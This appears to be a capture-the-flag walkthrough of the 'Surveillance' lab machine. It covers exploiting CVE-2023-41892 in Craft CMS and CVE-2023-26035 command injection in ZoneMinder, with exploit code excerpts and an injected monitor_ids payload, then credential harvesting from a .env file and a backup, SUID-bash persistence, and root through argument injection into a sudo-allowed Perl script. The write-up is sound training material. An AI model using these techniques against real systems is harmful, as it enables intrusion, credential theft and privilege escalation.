Surveillance

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.39.121 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-09 22:13 EST
Nmap scan report for 10.129.39.121
Host is up (0.0081s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Did a detailed scan as well:

$ nmap -p 80 -sC -sV --min-rate 3000 10.129.39.121                    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-09 22:14 EST
Nmap scan report for 10.129.39.121
Host is up (0.0062s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Added the domain to the /etc/hosts file.

Web Enum -> CVE-2023-41892

The website was promoting a security solution provider:

Checking the page source, I found that this website used Craft CMS 4.4.14.

This version of Craft CMS was vulnerable to CVE-2023-41892.

There are a few PoCs publicly available:

Initial exploitation did not work:

$ python3 rce.py http://surveillance.htb/index.php
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ ls
$ id

When reading the exploit, it seems to proxy requests through local port 8080.

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

# TRUNCATED

I opened a HTTP Server on port 8080, and it returned some errors when the exploit was run:

$ python3 -m http.server 8080                       
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
127.0.0.1 - - [09/Dec/2023 22:24:21] code 501, message Unsupported method ('POST')
127.0.0.1 - - [09/Dec/2023 22:24:21] "POST http://surveillance.htb/index.php HTTP/1.1" 501 -
127.0.0.1 - - [09/Dec/2023 22:24:21] code 501, message Unsupported method ('POST')
127.0.0.1 - - [09/Dec/2023 22:24:21] "POST http://surveillance.htb/index.php HTTP/1.1" 501 -
127.0.0.1 - - [09/Dec/2023 22:24:57] code 501, message Unsupported method ('POST')
127.0.0.1 - - [09/Dec/2023 22:24:57] "POST http://surveillance.htb/index.php HTTP/1.1" 501 -
127.0.0.1 - - [09/Dec/2023 22:24:57] code 501, message Unsupported method ('POST')
127.0.0.1 - - [09/Dec/2023 22:24:57] "POST http://surveillance.htb/index.php HTTP/1.1" 501 -

It didn't make sense to have a proxy in the first place, so I removed that since I could not find a good explanation of why it was included (probably Burpsuite testing by the researcher). After removing that, the script still did not work.

I troubleshooted this by printing contents of variables within the script (as you usually do...) and I found that the upload_tmp_dir variable was being incorrectly checked:

$ python3 rce.py http://surveillance.htb
[-] Get temporary folder and document root ...
<i>no value</i>

upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir
print(upload_tmp_dir)

Seems that it was being updated wrongly, and the if condition wasn't checking the value properly since it was being set to <i> no value </i> instead of no value. After replacing that, the RCE worked.

Getting a reverse shell is easy from here using nc mkfifo.

Privilege Escalation

Basic Enum

There are 2 other users on the machine:

www-data@surveillance:/home$ ls -al
total 16
drwxr-xr-x  4 root       root       4096 Oct 17 11:20 .
drwxr-xr-x 18 root       root       4096 Nov  9 13:19 ..
drwxrwx---  3 matthew    matthew    4096 Nov  9 12:45 matthew
drwxr-x---  2 zoneminder zoneminder 4096 Nov  9 12:46 zoneminder

There is also a MySQL service available:

www-data@surveillance:~/html/craft/config$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      1025/nginx: worker  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1025/nginx: worker  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

There was also a .env file to read:

www-data@surveillance:~/html/craft$ ls -la
total 320
drwxr-xr-x  8 www-data www-data   4096 Oct 21 18:32 .
drwxr-xr-x  3 root     root       4096 Oct 21 17:54 ..
-rw-r--r--  1 www-data www-data    836 Oct 21 18:32 .env
-rw-r--r--  1 www-data www-data    678 May 23  2023 .env.example.dev
-rw-r--r--  1 www-data www-data    688 May 23  2023 .env.example.production
-rw-r--r--  1 www-data www-data    684 May 23  2023 .env.example.staging
-rw-r--r--  1 www-data www-data     31 May 23  2023 .gitignore
-rw-r--r--  1 www-data www-data    529 May 23  2023 bootstrap.php
-rw-r--r--  1 www-data www-data    622 Jun 13 23:10 composer.json
-rw-r--r--  1 www-data www-data 261350 Jun 13 23:10 composer.lock
drwxr-xr-x  4 www-data www-data   4096 Oct 11 17:57 config
-rwxr-xr-x  1 www-data www-data    309 May 23  2023 craft
drwxrwxr-x  2 www-data www-data   4096 Oct 21 18:26 migrations
drwxr-xr-x  6 www-data www-data   4096 Oct 11 20:12 storage
drwxr-xr-x  3 www-data www-data   4096 Oct 17 15:24 templates
drwxr-xr-x 42 www-data www-data   4096 Jun 13 23:10 vendor
drwxr-xr-x  8 www-data www-data   4096 Dec 10 03:40 web

www-data@surveillance:~/html/craft$ cat .env
# Read about configuration, here:
# https://craftcms.com/docs/4.x/config/

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

PRIMARY_SITE_URL=http://surveillance.htb/

I could access and enumerate the database via mysql using these credentials.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| craftdb            |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [craftdb]> select * from users;
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | active | pending | locked | suspended | admin | username | fullName  | firstName | lastName | email                  | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
|  1 |    NULL |      1 |       0 |      0 |         0 |     1 | admin    | Matthew B | Matthew   | B        | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe | 2023-10-17 20:42:03 | NULL               | NULL                    |              NULL | 2023-10-17 20:38:18  | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2023-10-17 20:38:29    | 2023-10-11 17:57:16 | 2023-10-17 20:42:03 |
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+

These hashes could not be cracked though.

User Creds

Within the ~/html/craft directory, I checked for any configuration or backup files, and found one:

www-data@surveillance:~/html/craft$ ls *   
bootstrap.php  composer.json  composer.lock  craft

config:
app.php  general.php  htmlpurifier  license.key  project  routes.php

migrations:

storage:
backups  config-deltas  logs  runtime
<TRUNCATED>

The storage folder contained some interesting stuff:

www-data@surveillance:~/html/craft/storage/backups$ ls
surveillance--2023-10-17-202801--v4.4.14.sql.zip

When unzipped, it just contains an ASCII text backup for the database. When read, I found a hash for the user within it:

www-data@surveillance:~/html/craft/storage/backups$ cat surveillance--2023-10-17-202801--v4.4.14.sql
<TRUNCATED>
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;
<TRUNCATED>

This hash could be cracked using CrackStation:

Using this, I either use su or ssh to the matthew user:

CVE-2023-26035 -> Zoneminder User

The matthew user had no sudo privileges or any interesting files, and I was wondering why there was a user was called zoneminder. Turns out this was a surveillance software (which explains the box name).

Port 8080 was running the software, which I could find after port fowrarding with chisel.

I found the web directory via locate:

matthew@surveillance:/$ locate index.php
/usr/share/zoneminder/www/index.php
/usr/share/zoneminder/www/api/index.php
/usr/share/zoneminder/www/api/app/index.php
<TRUNCATED>

Searching online for recent ZoneMinder exploits returns CVE-2023-26035, an unauthenticated RCE exploit.

I didn't know where to find the version, so a simple grep -R for both 1.36 and 1.37 gives me a strong indication that this is vulnerable:

matthew@surveillance:/usr/share/zoneminder$ grep -R '1.36'
<TRUNCATED>
db/zm_create.sql:       Before 1.36.27 Users were able to abuse this functionality to create a denial of service by
db/zm_create.sql:INSERT INTO Config SET Id = 215, Name = 'ZM_DYN_CURR_VERSION', Value = '1.36.32', Type = 'string', DefaultValue = '1.36.32', Hint = 'string', Pattern = '(?^:^(.+)$)', Format = ' $1 ', Prompt = '
db/zm_create.sql:INSERT INTO Config SET Id = 216, Name = 'ZM_DYN_DB_VERSION', Value = '1.36.32', Type = 'string', DefaultValue = '1.36.32', Hint = 'string', Pattern = '(?^:^(.+)$)', Format = ' $1 ', Prompt = 'What the version of the database is, from zmupdate', Help = '', Category = 'dynamic', Readonly = '1', Requires = '';

matthew@surveillance:/usr/share/zoneminder$ grep -R '1.37'
www/ajax/status.php:      # Left for backwards compatability. Remove in 1.37
www/ajax/status.php:      # Left for backwards compatability. Remove in 1.37

When I read more about the exploit, it seems that the vulnerability lies within these 2 lines of code:

$cmd = getZmuCommand($cmd.' -m '.$this->{'Id'}); 
$output = shell_exec($cmd); 

The machine had these two lines present:

This confirms that this instance is vulnerable. I could only find one PoC for this exploit, which requires the usage of msfconsole:

I dislike using Metasploit in general, so I read the exploit and did it manually. In the exploit, the execute_command function is quite simple:

def execute_command(cmd, _opts = {})
    command = Rex::Text.uri_encode(cmd)
    print_status('Sending payload')
    data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
    data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
    send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'POST',
    'data' => data.to_s
    )
    print_good('Payload sent')
    end 

Basically visits localhost:8080 and then sends a command to that specific directory with the __csrf_magic parameter, of which the latter can be found in index.php:

To confirm this, I just created a file on the machine with echo rcecfm > /tmp/test:

The above shows that I had RCE as zoneminder. To get a shell, I used chmod+%2bs+/tmp/zone on a copy of bash.

Afterwards, I could just drop my SSH key in authorized_keys for the zoneminder user to upgrade shells.

Sudo Script Privilege -> Root

The zoneminder user had some sudo privileges:

zoneminder@surveillance:~$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

Seems that I can run a bunch of Perl scripts with whatever arguments I want. The problem was that there were many scripts, and each of them were quite long:

zmaudit.pl
zmcamtool.pl
zmcontrol.pl
zmdc.pl
zmfilter.pl
zmonvif-probe.pl
zmonvif-trigger.pl
zmpkg.pl
zmrecover.pl
zmstats.pl
zmsystemctl.pl
zmtelemetry.pl
zmtrack.pl
zmtrigger.pl
zmupdate.pl
zmvideo.pl
zmwatch.pl
zmx10.pl

The sudo privilege also allows me to specify any arguments, so I think looking for anything that takes user input and throws into a command is key. I was lazy to read each file, so I copied all the scripts to another directory, then checked for keywords like cmd or command within them. The zmupdate.pl file contained some interesting stuff:

zoneminder@surveillance:/tmp/check$ grep command *
<TRUNCATED>
zmupdate.pl:      my $command = 'mysqldump';
zmupdate.pl:        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
zmupdate.pl:        $command .= ' -u'.$dbUser;
zmupdate.pl:        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
zmupdate.pl:          $command .= ' -S'.$portOrSocket;
zmupdate.pl:          $command .= ' -h'.$host.' -P'.$portOrSocket;
<TRUNCATED>

It contained this snippet:

if ( $response =~ /^[yY]$/ ) {
      my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
      my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {
          $command .= ' -h'.$host.' -P'.$portOrSocket;
        }
      } else {
        $command .= ' -h'.$host;

The function above is only executed if the version parameter is set. The script also accepts some user input, which looks exploitable:

zoneminder@surveillance:/tmp/check$ sudo /usr/bin/zmupdate.pl -h
Unknown option: h
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

Options:
    -c, --check - Check for updated versions of ZoneMinder -f, --freshen -
    Freshen the configuration in the database. Equivalent of old zmconfig.pl
    -noi --migrate-events - Update database structures as per
    USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
    upgrade to the current version from <version> -u <dbuser>,
    --user=<dbuser> - Alternate DB user with privileges to alter DB -p
    <dbpass>, --pass=<dbpass> - Password of alternate DB user with
    privileges to alter DB -s, --super - Use system maintenance account on
    debian based systems instead of unprivileged account -d <dir>,
    --dir=<dir> - Directory containing update files if not in default build
    location -interactive - interact with the user -nointeractive - do not
    interact with the user

There was no validation for the parameter entered, so I just made bash an SUID binary using sub-shells $():

Getting root is easy from here:

Rooted!

Last updated